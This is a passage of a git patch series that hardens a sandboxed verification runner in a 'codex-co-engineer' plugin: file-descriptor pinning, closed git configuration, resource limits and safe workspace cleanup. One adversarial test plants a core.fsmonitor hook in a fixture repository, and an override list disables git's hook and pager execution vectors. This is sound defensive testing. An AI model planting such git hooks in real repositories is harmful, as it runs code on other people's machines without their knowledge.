=> repo.cleanup()); + const identity = await identityOf(repo); + await runFixtureGit(repo.path, ['config', 'core.fsmonitor', hookPath]); + const result = await verifyScopeV1(scopeRequest(repo, identity)); + assert.equal(result.status, 'verified'); + assert.equal(existsSync(markerPath), false); +}); diff --git a/plugins/codex-co-engineer/test/r1-scope-verifier.test.mjs b/plugins/codex-co-engineer/test/r1-scope-verifier.test.mjs index 218a6c7..a3bb13c 100644 --- a/plugins/codex-co-engineer/test/r1-scope-verifier.test.mjs +++ b/plugins/codex-co-engineer/test/r1-scope-verifier.test.mjs @@ -168,7 +168,8 @@ test('additions, deletions, in-scope renames, and copies stay owned', async (t) const copyIdentity = await identityOf(copy); const copyResult = await verifyScopeV1(scopeRequest(copy, copyIdentity)); assert.equal(copyResult.status, 'verified'); - assert.equal(copyResult.observation.path_count >= 1, true); + assert.equal(copyResult.observation.path_count >= 2, true); + assert.equal(copyResult.observation.copy_count >= 1, true); const deletion = await createDeletionInScopeRepo(); t.after(() => deletion.cleanup()); From caf1bd48ccbb7ed0679f37d48807b103762ecce3 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 10:58:42 +0000 Subject: [PATCH 66/81] fix(verify): close P16C isolation and cleanup blockers --- .../v3/constrained-verification-runner.mjs | 952 +++++++++++++++--- ...d-verification-runner-adversarial.test.mjs | 546 +++++++++- ...1-constrained-verification-runner.test.mjs | 106 +- 3 files changed, 1430 insertions(+), 174 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/constrained-verification-runner.mjs b/plugins/codex-co-engineer/mcp/v3/constrained-verification-runner.mjs index 244e0c0..48d1e57 100644 --- a/plugins/codex-co-engineer/mcp/v3/constrained-verification-runner.mjs +++ b/plugins/codex-co-engineer/mcp/v3/constrained-verification-runner.mjs @@ -31,7 +31,8 @@ import { Buffer as NodeBuffer } from 'node:buffer'; import { spawn as nodeSpawn } from 'node:child_process'; import { createHash, randomBytes, timingSafeEqual } from 'node:crypto'; -import { lstat, mkdir, readFile, readdir, realpath, rm } from 'node:fs/promises'; +import fs from 'node:fs'; +import { lstat, mkdir, readFile, readdir, realpath } from 'node:fs/promises'; import { tmpdir } from 'node:os'; import path from 'node:path'; import process from 'node:process'; @@ -91,12 +92,22 @@ export const VERIFICATION_EXECUTION_DIGEST_LABEL = IDENTITY_LABELS.VERIFICATION_ export const GIT_EXECUTABLE = '/usr/bin/git'; export const UNSHARE_EXECUTABLE = '/usr/bin/unshare'; +export const PRLIMIT_EXECUTABLE = '/usr/bin/prlimit'; export const WORKSPACE_NAME_PREFIX = 'codex-co-engineer-p16c-'; +export const WORKSPACE_PARENT_PREFIX = 'codex-co-engineer-p16c-owner-'; +export const QUARANTINE_NAME_PREFIX = 'codex-co-engineer-p16c-quarantine-'; export const KILL_GRACE_MS = 1_000; export const STUCK_GRACE_MS = 100; export const GIT_AUDIT_TIMEOUT_MS = 5_000; export const GIT_AUDIT_MAX_BYTES = 65_536; export const WORKSPACE_MODE = 0o700; +export const RESOURCE_ADDRESS_SPACE_BYTES = 268_435_456; +export const RESOURCE_NPROC = 32; +export const RESOURCE_CPU_SECONDS_CAP = 120; +export const COPY_MAX_FILE_BYTES = 1_048_576; +export const COPY_MAX_TOTAL_BYTES = 8_388_608; +export const COPY_MAX_ENTRIES = 4_096; +export const COPY_MAX_DEPTH = 32; export const REQUEST_ALLOWED_KEYS = capturedFreeze(['candidate', 'intent', 'policy']); export const REQUEST_REQUIRED_KEYS = REQUEST_ALLOWED_KEYS; @@ -106,8 +117,9 @@ export const CANDIDATE_ALLOWED_KEYS = capturedFreeze([ export const CANDIDATE_REQUIRED_KEYS = capturedFreeze(['repository']); export const OPTION_ALLOWED_KEYS = capturedFreeze(['adapter']); export const ADAPTER_ALLOWED_KEYS = capturedFreeze([ - 'killProcessGroup', 'listDescendants', 'lstat', 'mkdir', 'nowMs', - 'randomId', 'readGitIdentity', 'realpath', 'rmdirExact', 'spawn', 'tmpRoot', + 'afterQuarantinePin', 'killProcessGroup', 'listDescendants', 'lstat', 'mkdir', + 'nowMs', 'randomId', 'readGitIdentity', 'realpath', 'rmdirExact', 'spawn', + 'tmpRoot', ]); export const RECEIPT_BODY_KEYS = capturedFreeze([ 'candidate_audit', 'cleanup', 'command_id', 'facts', 'intent_identity', @@ -259,6 +271,28 @@ const GIT_AUDIT_COMMANDS = capturedFreeze([ capturedFreeze(['worktree', 'list', '--porcelain']), capturedFreeze(['rev-parse', '--absolute-git-dir']), ]); +export const GIT_CONFIG_OVERRIDES = capturedFreeze([ + '--no-pager', + '-c', 'core.fsmonitor=', + '-c', 'core.fsmonitorHook=', + '-c', 'core.useBuiltinFSMonitor=false', + '-c', 'core.hooksPath=/dev/null', + '-c', 'core.pager=', + '-c', 'core.editor=true', + '-c', 'core.askPass=', + '-c', 'filter.lfs.process=', + '-c', 'filter.lfs.required=false', +]); +export const GIT_CLOSED_ENV = capturedFreeze({ + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_OPTIONAL_LOCKS: '0', + GIT_TERMINAL_PROMPT: '0', + GIT_PAGER: 'cat', + GIT_EDITOR: 'true', + LC_ALL: 'C', +}); const OBJECT_DEFINE_PROPERTY = Object.defineProperty; const OBJECT_PROTOTYPE = Object.prototype; @@ -280,16 +314,31 @@ const PATH_JOIN = path.join; const PATH_RESOLVE = path.resolve; const PATH_IS_ABSOLUTE = path.isAbsolute; const PATH_RELATIVE = path.relative; -const PATH_DIRNAME = path.dirname; const OS_TMPDIR = tmpdir; const FS_LSTAT = lstat; const FS_MKDIR = mkdir; const FS_REALPATH = realpath; -const FS_RM = rm; +const FS_OPEN_SYNC = fs.openSync; +const FS_CLOSE_SYNC = fs.closeSync; +const FS_FSTAT_SYNC = fs.fstatSync; +const FS_LSTAT_SYNC = fs.lstatSync; +const FS_READ_SYNC = fs.readSync; +const FS_WRITE_SYNC = fs.writeSync; +const FS_FCHMOD_SYNC = fs.fchmodSync; +const FS_MKDIR_SYNC = fs.mkdirSync; +const FS_RMDIR_SYNC = fs.rmdirSync; +const FS_UNLINK_SYNC = fs.unlinkSync; +const FS_RENAME_SYNC = fs.renameSync; +const FS_READDIR_SYNC = fs.readdirSync; +const FS_CONSTANTS = fs.constants; const PROCESS_KILL = process.kill.bind(process); const RANDOM_BYTES = randomBytes; const NODE_SPAWN = nodeSpawn; const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const OPEN_NOFOLLOW_READ = FS_CONSTANTS.O_RDONLY | FS_CONSTANTS.O_NOFOLLOW; +const OPEN_NOFOLLOW_DIR = FS_CONSTANTS.O_RDONLY | FS_CONSTANTS.O_DIRECTORY | FS_CONSTANTS.O_NOFOLLOW; +const OPEN_NOFOLLOW_CREATE = FS_CONSTANTS.O_WRONLY | FS_CONSTANTS.O_CREAT | FS_CONSTANTS.O_EXCL + | FS_CONSTANTS.O_NOFOLLOW; function deny(code, path) { fail(code, path, MESSAGES[code] ?? MESSAGES.invalid_format); @@ -405,6 +454,87 @@ function equalDigest(left, right) { return TIMING_SAFE_EQUAL(BUFFER_FROM(left, 'utf8'), BUFFER_FROM(right, 'utf8')) === true; } +function closeQuiet(fd) { + if (!NUMBER_IS_SAFE_INTEGER(fd) || fd < 0) return; + try { FS_CLOSE_SYNC(fd); } catch { /* already closed */ } +} + +function procFdPath(fd, name) { + if (!NUMBER_IS_SAFE_INTEGER(fd) || fd < 0) deny('workspace_unreadable', 'workspace'); + if (name === undefined) return `/proc/self/fd/${fd}`; + if (typeof name !== 'string' || name.length === 0 || name === '.' || name === '..' + || capturedTest(/[/\0]/u, name)) { + deny('workspace_unreadable', 'workspace'); + } + return `/proc/self/fd/${fd}/${name}`; +} + +function openNoFollow(target, flags, path, code) { + let fd; + try { + fd = FS_OPEN_SYNC(target, flags); + } catch (error) { + if (error && error.code === 'ELOOP') deny('symlink_denied', path); + deny(code, path); + } + return fd; +} + +function fstatOrDeny(fd, path, code) { + try { + return FS_FSTAT_SYNC(fd, { bigint: true }); + } catch { + deny(code, path); + } +} + +function hashFdSync(fd) { + const hash = CRYPTO_CREATE_HASH(DIGEST_ALGORITHM); + const buf = BUFFER_ALLOC(65_536); + let pos = 0; + while (true) { + let bytesRead; + try { + bytesRead = FS_READ_SYNC(fd, buf, 0, buf.length, pos); + } catch { + deny('executable_not_runnable', 'request.intent.executable'); + } + if (bytesRead === 0) break; + HASH_UPDATE.call(hash, buf.subarray(0, bytesRead)); + pos += bytesRead; + } + return HASH_DIGEST.call(hash, 'hex'); +} + +function assertPinnedRegularFile(stat, path, code) { + if (stat.isSymbolicLink() || !stat.isFile()) deny(code, path); +} + +function sameIdentity(left, right) { + return left.dev === right.dev && left.ino === right.ino && left.size === right.size; +} + +function resourceLimitsFor(timeoutMs) { + const cpuSeconds = Math.ceil(timeoutMs / 1_000) + 1; + if (!NUMBER_IS_SAFE_INTEGER(cpuSeconds) || cpuSeconds < 1 || cpuSeconds > RESOURCE_CPU_SECONDS_CAP) { + deny('out_of_range', 'request.intent.timeout_ms'); + } + return capturedFreeze({ + cpu_seconds: cpuSeconds, + address_space_bytes: RESOURCE_ADDRESS_SPACE_BYTES, + nproc: RESOURCE_NPROC, + }); +} + +function entryMode(stat) { + return Number(stat.mode & 0o777n); +} + +function isSparseRegular(stat) { + if (!stat.isFile() || stat.size <= 0n) return false; + return stat.blocks === 0n || stat.blocks * 512n < stat.size; +} + function cloneParameters(parameters) { const keys = sortedCapturedKeys(parameters); const values = {}; @@ -512,25 +642,27 @@ function defaultTmpRoot() { } function defaultKillProcessGroup(pid, signal) { - if (!NUMBER_IS_SAFE_INTEGER(pid) || pid <= 0) return; + if (!NUMBER_IS_SAFE_INTEGER(pid) || pid <= 0) return false; try { PROCESS_KILL(-pid, signal); + return true; } catch { try { PROCESS_KILL(pid, signal); + return true; } catch { - // ESRCH and equivalent races are inspected by listDescendants. + return false; } } } async function defaultListDescendants(pid) { - if (!NUMBER_IS_SAFE_INTEGER(pid) || pid <= 0) return freezeList([]); + if (!NUMBER_IS_SAFE_INTEGER(pid) || pid <= 0) deny('cleanup_uncertain', 'execution'); let dir; try { dir = await readdir('/proc'); } catch { - return freezeList([]); + deny('cleanup_uncertain', 'execution'); } const leftover = []; for (let index = 0; index < dir.length; index += 1) { @@ -541,11 +673,12 @@ async function defaultListDescendants(pid) { let stat; try { stat = await readFile(`/proc/${other}/stat`, 'utf8'); - } catch { - continue; + } catch (error) { + if (error && error.code === 'ENOENT') continue; + deny('cleanup_uncertain', 'execution'); } const close = stat.indexOf(')'); - if (close < 0) continue; + if (close < 0) deny('cleanup_uncertain', 'execution'); const rest = stat.slice(close + 2).split(' '); const ppid = Number(rest[1]); const pgid = Number(rest[2]); @@ -610,80 +743,115 @@ async function collectChildOutput(child, timeoutMs) { } async function defaultReadGitIdentity(repository) { - let gitStat; + const gitFd = openNoFollow(GIT_EXECUTABLE, OPEN_NOFOLLOW_READ, 'candidate', 'git_unavailable'); try { - gitStat = await FS_LSTAT(GIT_EXECUTABLE, { bigint: true }); - } catch { - deny('git_unavailable', 'candidate'); - } - if (gitStat.isSymbolicLink() || !gitStat.isFile()) deny('git_unavailable', 'candidate'); - const env = { - GIT_CONFIG_NOSYSTEM: '1', - GIT_CONFIG_GLOBAL: '/dev/null', - GIT_CONFIG_SYSTEM: '/dev/null', - GIT_OPTIONAL_LOCKS: '0', - GIT_TERMINAL_PROMPT: '0', - }; - const outputs = {}; - const names = ['head', 'status', 'refs', 'config', 'worktrees', 'gitdir']; - for (let index = 0; index < GIT_AUDIT_COMMANDS.length; index += 1) { - const args = ['-C', repository, '--no-optional-locks']; - const command = GIT_AUDIT_COMMANDS[index]; - for (let argIndex = 0; argIndex < command.length; argIndex += 1) { - ARRAY_PUSH.call(args, command[argIndex]); - } - let child; - try { - child = NODE_SPAWN(GIT_EXECUTABLE, args, { - cwd: PATH_DIRNAME(repository), - env, - shell: false, - stdio: ['ignore', 'pipe', 'pipe'], - windowsHide: true, - }); - } catch { - deny('git_identity_unverified', 'candidate'); + const gitStat = fstatOrDeny(gitFd, 'candidate', 'git_unavailable'); + assertPinnedRegularFile(gitStat, 'candidate', 'git_unavailable'); + const outputs = {}; + const names = ['head', 'status', 'refs', 'config', 'worktrees', 'gitdir']; + for (let index = 0; index < GIT_AUDIT_COMMANDS.length; index += 1) { + const args = []; + for (let overrideIndex = 0; overrideIndex < GIT_CONFIG_OVERRIDES.length; overrideIndex += 1) { + ARRAY_PUSH.call(args, GIT_CONFIG_OVERRIDES[overrideIndex]); + } + ARRAY_PUSH.call(args, '-C'); + ARRAY_PUSH.call(args, repository); + ARRAY_PUSH.call(args, '--no-optional-locks'); + const command = GIT_AUDIT_COMMANDS[index]; + for (let argIndex = 0; argIndex < command.length; argIndex += 1) { + ARRAY_PUSH.call(args, command[argIndex]); + } + let child; + try { + child = NODE_SPAWN('/proc/self/fd/3', args, { + cwd: '/', + env: { ...GIT_CLOSED_ENV }, + shell: false, + stdio: ['ignore', 'pipe', 'pipe', gitFd], + windowsHide: true, + }); + } catch { + deny('git_identity_unverified', 'candidate'); + } + const result = await collectChildOutput(child, GIT_AUDIT_TIMEOUT_MS); + if (names[index] === 'head' && result.code !== 0) deny('git_identity_unverified', 'candidate'); + outputs[names[index]] = result.stdout.toString('utf8'); } - const result = await collectChildOutput(child, GIT_AUDIT_TIMEOUT_MS); - if (names[index] === 'head' && result.code !== 0) deny('git_identity_unverified', 'candidate'); - outputs[names[index]] = result.stdout.toString('utf8'); + const head = STRING_REPLACE(outputs.head, /\s+/gu, ''); + assertBaseSha(head, 'candidate.head_sha'); + return freezeRecord(capturedFreeze([ + 'config', 'gitdir', 'head_sha', 'refs', 'status', 'worktrees', + ]), { + head_sha: head, + status: outputs.status, + refs: outputs.refs, + config: outputs.config, + worktrees: outputs.worktrees, + gitdir: STRING_REPLACE(outputs.gitdir, /\s+$/gu, ''), + }); + } finally { + closeQuiet(gitFd); } - const head = STRING_REPLACE(outputs.head, /\s+/gu, ''); - assertBaseSha(head, 'candidate.head_sha'); - return freezeRecord(capturedFreeze([ - 'config', 'gitdir', 'head_sha', 'refs', 'status', 'worktrees', - ]), { - head_sha: head, - status: outputs.status, - refs: outputs.refs, - config: outputs.config, - worktrees: outputs.worktrees, - gitdir: STRING_REPLACE(outputs.gitdir, /\s+$/gu, ''), - }); } function defaultSpawn(file, args, options) { if (options.shell !== false) deny('shell_content_denied', 'execution'); if (options.networkMode !== 'deny') deny('network_allowlist_unsupported', 'execution.network'); - const confinementArgs = [ - '--user', '--pid', '--fork', '--net', '--', file, - ]; - for (let index = 0; index < args.length; index += 1) { - ARRAY_PUSH.call(confinementArgs, args[index]); + const execFd = options.executableFd; + const workspaceFd = options.workspaceFd; + const limits = options.resourceLimits; + if (!NUMBER_IS_SAFE_INTEGER(execFd) || execFd < 0) deny('executable_not_runnable', 'execution'); + if (!NUMBER_IS_SAFE_INTEGER(workspaceFd) || workspaceFd < 0) deny('workspace_unreadable', 'workspace'); + if (limits === undefined || !NUMBER_IS_SAFE_INTEGER(limits.cpu_seconds) + || !NUMBER_IS_SAFE_INTEGER(limits.address_space_bytes) + || !NUMBER_IS_SAFE_INTEGER(limits.nproc)) { + deny('resource_bound_unavailable', 'execution'); + } + const unshareFd = openNoFollow( + UNSHARE_EXECUTABLE, OPEN_NOFOLLOW_READ, 'execution', 'network_isolation_unavailable', + ); + const prlimitFd = openNoFollow( + PRLIMIT_EXECUTABLE, OPEN_NOFOLLOW_READ, 'execution', 'resource_bound_unavailable', + ); + try { + assertPinnedRegularFile( + fstatOrDeny(unshareFd, 'execution', 'network_isolation_unavailable'), + 'execution', 'network_isolation_unavailable', + ); + assertPinnedRegularFile( + fstatOrDeny(prlimitFd, 'execution', 'resource_bound_unavailable'), + 'execution', 'resource_bound_unavailable', + ); + const confinementArgs = [ + '--user', '--pid', '--fork', '--net', '--', + '/proc/self/fd/6', + `--cpu=${limits.cpu_seconds}`, + `--as=${limits.address_space_bytes}`, + `--nproc=${limits.nproc}`, + '--', + '/proc/self/fd/3', + ]; + for (let index = 0; index < args.length; index += 1) { + ARRAY_PUSH.call(confinementArgs, args[index]); + } + return NODE_SPAWN('/proc/self/fd/5', confinementArgs, { + cwd: '/proc/self/fd/4', + env: options.env, + shell: false, + stdio: ['ignore', 'pipe', 'pipe', execFd, workspaceFd, unshareFd, prlimitFd], + windowsHide: true, + detached: false, + }); + } finally { + closeQuiet(unshareFd); + closeQuiet(prlimitFd); } - const spawnOptions = { - cwd: options.cwd, - env: options.env, - shell: false, - stdio: ['ignore', 'pipe', 'pipe'], - windowsHide: true, - detached: false, - }; - return NODE_SPAWN(UNSHARE_EXECUTABLE, confinementArgs, spawnOptions); } -async function defaultRmdirExact(record) { - await FS_RM(record.path, { recursive: true, force: false }); +async function defaultAfterQuarantinePin() {} + +async function defaultRmdirExact() { + deny('cleanup_uncertain', 'cleanup'); } function defaultAdapter() { @@ -694,6 +862,7 @@ function defaultAdapter() { lstat: (target, options) => FS_LSTAT(target, options ?? { bigint: true }), mkdir: (target, options) => FS_MKDIR(target, options), realpath: (target) => FS_REALPATH(target), + afterQuarantinePin: defaultAfterQuarantinePin, rmdirExact: defaultRmdirExact, spawn: defaultSpawn, killProcessGroup: defaultKillProcessGroup, @@ -844,6 +1013,198 @@ function buildChildEnvironment(environment) { return env; } +function copyRegularFile(srcFd, destDirFd, name, mode, size) { + const destFd = openNoFollow( + procFdPath(destDirFd, name), OPEN_NOFOLLOW_CREATE, 'workspace', 'workspace_unreadable', + ); + try { + const buf = BUFFER_ALLOC(65_536); + let pos = 0; + while (pos < size) { + let bytesRead; + try { + bytesRead = FS_READ_SYNC(srcFd, buf, 0, Math.min(buf.length, size - pos), pos); + } catch { + deny('candidate_race', 'workspace'); + } + if (bytesRead === 0) deny('candidate_race', 'workspace'); + let written = 0; + while (written < bytesRead) { + let n; + try { + n = FS_WRITE_SYNC(destFd, buf, written, bytesRead - written, pos + written); + } catch { + deny('workspace_unreadable', 'workspace'); + } + written += n; + } + pos += bytesRead; + } + try { + FS_FCHMOD_SYNC(destFd, mode); + } catch { + deny('workspace_unreadable', 'workspace'); + } + const destStat = fstatOrDeny(destFd, 'workspace', 'workspace_unreadable'); + if (destStat.size !== BigInt(size) || destStat.isSymbolicLink() || !destStat.isFile()) { + deny('candidate_race', 'workspace'); + } + } finally { + closeQuiet(destFd); + } +} + +function compareCopyPath(left, right) { + if (left.path < right.path) return -1; + if (left.path > right.path) return 1; + return 0; +} + +function digestCopyIdentity(identity) { + identity.sort(compareCopyPath); + return sha256Hex(BUFFER_FROM(canonicalJsonStringify(identity), 'utf8')); +} + +function copyDirectoryTree(srcFd, destFd, relative, depth, limits, identity) { + if (depth > COPY_MAX_DEPTH) deny('out_of_range', 'workspace'); + let names; + try { + names = FS_READDIR_SYNC(procFdPath(srcFd), { encoding: 'buffer' }); + } catch { + deny('candidate_unreadable', 'request.candidate.repository'); + } + for (let index = 0; index < names.length; index += 1) { + const name = names[index].toString('utf8'); + if (name === '.' || name === '..' || capturedTest(/[/\0]/u, name)) { + deny('candidate_unreadable', 'request.candidate.repository'); + } + limits.entries += 1; + if (limits.entries > COPY_MAX_ENTRIES) deny('out_of_range', 'workspace'); + const srcChild = procFdPath(srcFd, name); + let stat; + try { + stat = FS_LSTAT_SYNC(srcChild, { bigint: true }); + } catch { + deny('candidate_unreadable', 'request.candidate.repository'); + } + const rel = relative === '' ? name : `${relative}/${name}`; + if (stat.isSymbolicLink()) deny('symlink_denied', 'workspace'); + if (stat.isDirectory()) { + const mode = entryMode(stat); + try { + FS_MKDIR_SYNC(procFdPath(destFd, name), { mode, recursive: false }); + } catch { + deny('workspace_unreadable', 'workspace'); + } + const childSrc = openNoFollow(srcChild, OPEN_NOFOLLOW_DIR, 'workspace', 'candidate_unreadable'); + const childDest = openNoFollow( + procFdPath(destFd, name), OPEN_NOFOLLOW_DIR, 'workspace', 'workspace_unreadable', + ); + try { + ARRAY_PUSH.call(identity, capturedFreeze({ kind: 'directory', mode: STRING(mode), path: rel })); + copyDirectoryTree(childSrc, childDest, rel, depth + 1, limits, identity); + } finally { + closeQuiet(childSrc); + closeQuiet(childDest); + } + continue; + } + if (!stat.isFile() || stat.isBlockDevice() || stat.isCharacterDevice() + || stat.isFIFO() || stat.isSocket() || isSparseRegular(stat)) { + deny('special_file_denied', 'workspace'); + } + if (stat.size > BigInt(COPY_MAX_FILE_BYTES)) deny('out_of_range', 'workspace'); + limits.bytes += Number(stat.size); + if (limits.bytes > COPY_MAX_TOTAL_BYTES) deny('out_of_range', 'workspace'); + const srcFile = openNoFollow(srcChild, OPEN_NOFOLLOW_READ, 'workspace', 'candidate_unreadable'); + try { + const opened = fstatOrDeny(srcFile, 'workspace', 'candidate_unreadable'); + if (!sameIdentity(opened, stat) || opened.isSymbolicLink() || !opened.isFile()) { + deny('candidate_race', 'workspace'); + } + const mode = entryMode(stat); + copyRegularFile(srcFile, destFd, name, mode, Number(stat.size)); + ARRAY_PUSH.call(identity, capturedFreeze({ + digest: hashFdSync(srcFile), + kind: 'file', + mode: STRING(mode), + path: rel, + size: STRING(stat.size), + })); + } finally { + closeQuiet(srcFile); + } + } +} + +function walkCopyIdentity(dirFd, relative, depth, identity) { + if (depth > COPY_MAX_DEPTH) deny('out_of_range', 'workspace'); + let names; + try { + names = FS_READDIR_SYNC(procFdPath(dirFd), { encoding: 'buffer' }); + } catch { + deny('workspace_unreadable', 'workspace'); + } + for (let index = 0; index < names.length; index += 1) { + const name = names[index].toString('utf8'); + if (name === '.' || name === '..' || capturedTest(/[/\0]/u, name)) { + deny('workspace_unreadable', 'workspace'); + } + const rel = relative === '' ? name : `${relative}/${name}`; + const child = procFdPath(dirFd, name); + let stat; + try { + stat = FS_LSTAT_SYNC(child, { bigint: true }); + } catch { + deny('workspace_unreadable', 'workspace'); + } + if (stat.isSymbolicLink()) deny('symlink_denied', 'workspace'); + if (stat.isDirectory()) { + ARRAY_PUSH.call(identity, capturedFreeze({ + kind: 'directory', mode: STRING(entryMode(stat)), path: rel, + })); + const childFd = openNoFollow(child, OPEN_NOFOLLOW_DIR, 'workspace', 'workspace_unreadable'); + try { + walkCopyIdentity(childFd, rel, depth + 1, identity); + } finally { + closeQuiet(childFd); + } + continue; + } + if (!stat.isFile()) deny('special_file_denied', 'workspace'); + const fileFd = openNoFollow(child, OPEN_NOFOLLOW_READ, 'workspace', 'workspace_unreadable'); + try { + ARRAY_PUSH.call(identity, capturedFreeze({ + digest: hashFdSync(fileFd), + kind: 'file', + mode: STRING(entryMode(stat)), + path: rel, + size: STRING(stat.size), + })); + } finally { + closeQuiet(fileFd); + } + } +} + +function materializeCandidateCopy(sourcePath, destFd) { + const srcFd = openNoFollow( + sourcePath, OPEN_NOFOLLOW_DIR, 'request.candidate.repository', 'candidate_unreadable', + ); + try { + const identity = []; + const limits = { bytes: 0, entries: 0 }; + copyDirectoryTree(srcFd, destFd, '', 0, limits, identity); + const copyDigest = digestCopyIdentity(identity); + const verify = []; + walkCopyIdentity(destFd, '', 0, verify); + if (!equalDigest(copyDigest, digestCopyIdentity(verify))) deny('candidate_race', 'workspace'); + return copyDigest; + } finally { + closeQuiet(srcFd); + } +} + async function createWorkspace(adapter, candidate) { const root = adapter.tmpRoot(); if (typeof root !== 'string' || !PATH_IS_ABSOLUTE(root) || PATH_RESOLVE(root) !== root) { @@ -851,71 +1212,275 @@ async function createWorkspace(adapter, candidate) { } const rootEntry = await lstatOrDeny(adapter, root, 'workspace', 'workspace_unreadable'); if (rootEntry.isSymbolicLink() || !rootEntry.isDirectory()) deny('symlink_denied', 'workspace'); + const parentId = adapter.randomId(); const id = adapter.randomId(); - if (typeof id !== 'string' || !capturedTest(WORKSPACE_ID_PATTERN, id)) { + if (typeof parentId !== 'string' || !capturedTest(WORKSPACE_ID_PATTERN, parentId) + || typeof id !== 'string' || !capturedTest(WORKSPACE_ID_PATTERN, id)) { + deny('workspace_unreadable', 'workspace'); + } + const parentName = `${WORKSPACE_PARENT_PREFIX}${parentId}`; + const workspaceName = `${WORKSPACE_NAME_PREFIX}${id}`; + const parentPath = PATH_JOIN(root, parentName); + const workspacePath = PATH_JOIN(parentPath, workspaceName); + if (PATH_RESOLVE(parentPath) !== parentPath || PATH_RESOLVE(workspacePath) !== workspacePath) { deny('workspace_unreadable', 'workspace'); } - const workspacePath = PATH_JOIN(root, `${WORKSPACE_NAME_PREFIX}${id}`); - if (PATH_RESOLVE(workspacePath) !== workspacePath) deny('workspace_unreadable', 'workspace'); - if (isPathInside(candidate.repository, workspacePath) + if (isPathInside(candidate.repository, parentPath) + || isPathInside(parentPath, candidate.repository) + || isPathInside(candidate.repository, workspacePath) || isPathInside(workspacePath, candidate.repository) - || workspacePath === root || workspacePath === '/' || workspacePath === candidate.repository) { + || workspacePath === root || workspacePath === '/' || parentPath === '/' + || workspacePath === candidate.repository || parentPath === candidate.repository) { deny('workspace_overlap_denied', 'workspace'); } try { - await adapter.mkdir(workspacePath, { recursive: false, mode: WORKSPACE_MODE }); + await adapter.mkdir(parentPath, { recursive: false, mode: WORKSPACE_MODE }); } catch { deny('workspace_unreadable', 'workspace'); } - const entry = await lstatOrDeny(adapter, workspacePath, 'workspace', 'workspace_unreadable'); - if (entry.isSymbolicLink()) deny('symlink_denied', 'workspace'); - if (!entry.isDirectory()) deny('special_file_denied', 'workspace'); - let resolved; + const parentFd = openNoFollow(parentPath, OPEN_NOFOLLOW_DIR, 'workspace', 'workspace_unreadable'); + const parentStat = fstatOrDeny(parentFd, 'workspace', 'workspace_unreadable'); + if (parentStat.isSymbolicLink() || !parentStat.isDirectory()) deny('symlink_denied', 'workspace'); try { - resolved = await adapter.realpath(workspacePath); + await adapter.mkdir(workspacePath, { recursive: false, mode: WORKSPACE_MODE }); } catch { + closeQuiet(parentFd); deny('workspace_unreadable', 'workspace'); } - if (resolved !== workspacePath) deny('symlink_denied', 'workspace'); - return capturedFreeze({ - path: workspacePath, - root, + const dirFd = openNoFollow( + procFdPath(parentFd, workspaceName), OPEN_NOFOLLOW_DIR, 'workspace', 'workspace_unreadable', + ); + const entry = fstatOrDeny(dirFd, 'workspace', 'workspace_unreadable'); + if (entry.isSymbolicLink() || !entry.isDirectory()) { + closeQuiet(dirFd); + closeQuiet(parentFd); + deny('symlink_denied', 'workspace'); + } + let copyDigest; + try { + copyDigest = materializeCandidateCopy(candidate.repository, dirFd); + } catch (error) { + closeQuiet(dirFd); + closeQuiet(parentFd); + throw error; + } + return { + copyDigest, + cwd: procFdPath(dirFd), dev: entry.dev, + dirFd, + id, ino: entry.ino, mode: entry.mode, - }); + name: workspaceName, + parentDev: parentStat.dev, + parentFd, + parentIno: parentStat.ino, + parentPath, + path: workspacePath, + root, + }; +} + +function closeWorkspaceFds(record) { + if (record === undefined) return; + closeQuiet(record.dirFd); + closeQuiet(record.parentFd); + record.dirFd = -1; + record.parentFd = -1; +} + +function sameDirPin(left, right) { + return left.dev === right.dev && left.ino === right.ino; } -function assertExactWorkspace(record, entry, resolved) { - if (record.path === '/' || record.path === record.root) deny('cleanup_uncertain', 'cleanup'); - if (!isPathInside(record.root, record.path) || record.path === record.root) { +function cleanupFdPath(fd, name) { + if (!NUMBER_IS_SAFE_INTEGER(fd) || fd < 0) deny('cleanup_uncertain', 'cleanup'); + if (name === undefined) return `/proc/self/fd/${fd}`; + if (typeof name !== 'string' || name.length === 0 || name === '.' || name === '..' + || capturedTest(/[/\0]/u, name)) { deny('cleanup_uncertain', 'cleanup'); } - if (PATH_RELATIVE(record.root, record.path).includes('..')) deny('cleanup_uncertain', 'cleanup'); - if (entry.isSymbolicLink() || !entry.isDirectory()) deny('cleanup_uncertain', 'cleanup'); - if (entry.dev !== record.dev || entry.ino !== record.ino) deny('cleanup_uncertain', 'cleanup'); - if (resolved !== record.path) deny('cleanup_uncertain', 'cleanup'); + return `/proc/self/fd/${fd}/${name}`; } -async function removeExactWorkspace(adapter, record) { - if (record === undefined || typeof record.path !== 'string' || !PATH_IS_ABSOLUTE(record.path)) { +function openCleanupDir(target) { + let fd; + try { + fd = FS_OPEN_SYNC(target, OPEN_NOFOLLOW_DIR); + } catch { deny('cleanup_uncertain', 'cleanup'); } - if (PATH_RESOLVE(record.path) !== record.path) deny('cleanup_uncertain', 'cleanup'); - const entry = await lstatOrDeny(adapter, record.path, 'cleanup', 'cleanup_uncertain'); - let resolved; + return fd; +} + +function assertPinnedDirectory(stat, expectedDev, expectedIno) { + if (expectedDev !== undefined && (stat.dev !== expectedDev || stat.ino !== expectedIno)) { + deny('cleanup_uncertain', 'cleanup'); + } + if (stat.isSymbolicLink() || !stat.isDirectory()) deny('cleanup_uncertain', 'cleanup'); +} + +function emptyPinnedDirectory(dirFd, expectedDev, expectedIno, depth) { + if (depth > COPY_MAX_DEPTH) deny('cleanup_uncertain', 'cleanup'); + const pinned = fstatOrDeny(dirFd, 'cleanup', 'cleanup_uncertain'); + assertPinnedDirectory(pinned, expectedDev, expectedIno); + let names; + try { + names = FS_READDIR_SYNC(cleanupFdPath(dirFd), { encoding: 'buffer' }); + } catch { + deny('cleanup_uncertain', 'cleanup'); + } + for (let index = 0; index < names.length; index += 1) { + const name = names[index].toString('utf8'); + if (name === '.' || name === '..' || capturedTest(/[/\0]/u, name)) { + deny('cleanup_uncertain', 'cleanup'); + } + const childPath = cleanupFdPath(dirFd, name); + let stat; + try { + stat = FS_LSTAT_SYNC(childPath, { bigint: true }); + } catch { + deny('cleanup_uncertain', 'cleanup'); + } + if (stat.isDirectory()) { + const childFd = openCleanupDir(childPath); + try { + const opened = 